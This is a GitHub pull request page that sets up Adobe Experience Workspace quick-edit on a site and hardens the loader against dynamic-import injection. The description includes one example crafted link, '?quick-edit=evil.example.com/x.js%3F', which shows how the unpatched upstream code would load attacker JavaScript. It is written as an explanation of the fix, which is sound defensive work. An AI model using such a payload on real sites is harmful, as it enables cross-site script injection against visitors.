Set up Experience Workspace (quick-edit support) - #4
Merged
Merged
Conversation
Migrate the codebase for Adobe Experience Workspace per the experience-workspace plugin's migrate-code skill: - Export loadPage from scripts.js - Add the quick-edit bootstrap that loads tools/quick-edit/quick-edit.js when the ?quick-edit param is present - Add tools/quick-edit/quick-edit.js (based on aemsites/author-kit) Harden the quick-edit loader against dynamic-import injection: the ?quick-edit param feeds the module origin, so the resolved hostname is validated against a trusted da-nx allowlist before import() rather than trusting the raw ref. Upstream author-kit omits this guard. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
|
Hello, I'm the AEM Code Sync Bot and I will run some actions to deploy your branch and validate page speed.
Commits
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Sets up Adobe Experience Workspace for this EDS + DA project, via the
experience-workspaceplugin (migrate-code + update-config skills), plus a security hardening on the quick-edit loader.Code changes
scripts/scripts.js— exportloadPage; add the quick-edit bootstrap that importstools/quick-edit/quick-edit.jswhen the?quick-editparam is present.tools/quick-edit/quick-edit.js(new) — quick-edit loader, based onaemsites/author-kit.Security hardening (deviation from upstream)
The
?quick-editURL param feeds the dynamic-import origin. Upstream (author-kit and the EW plugin's generated file) buildshttps://${ref}--da-nx--adobe.aem.liveandimport()s it with no validation — so a crafted link like?quick-edit=evil.example.com/x.js%3Fresolves tohttps://evil.example.com/x.js?--da-nx--adobe.aem.liveand executes attacker JS in this site's origin (reflected DOM-XSS, no auth required).This PR validates the resolved hostname against a trusted da-nx allowlist before importing — robust for any valid
reflength/charset and not bypassable via path/query/userinfo tricks. Verified: every legitimate ref (on/local/branch, incl. the 49-char max) passes; every injection payload is rejected.An upstream issue for
aemsites/author-kitis drafted but not yet filed.DA config (already applied)
editor.path = /benpeter/da-schamdan=https://da.live/canvas#has been written to the DA org config (out of band, verified201). This makes DA open the Experience Workspace canvas editor.Deploy note
The DA config is live now, but the canvas won't load quick-edit until this merges — aem-code-sync deploys on push to
main.🤖 Generated with Claude Code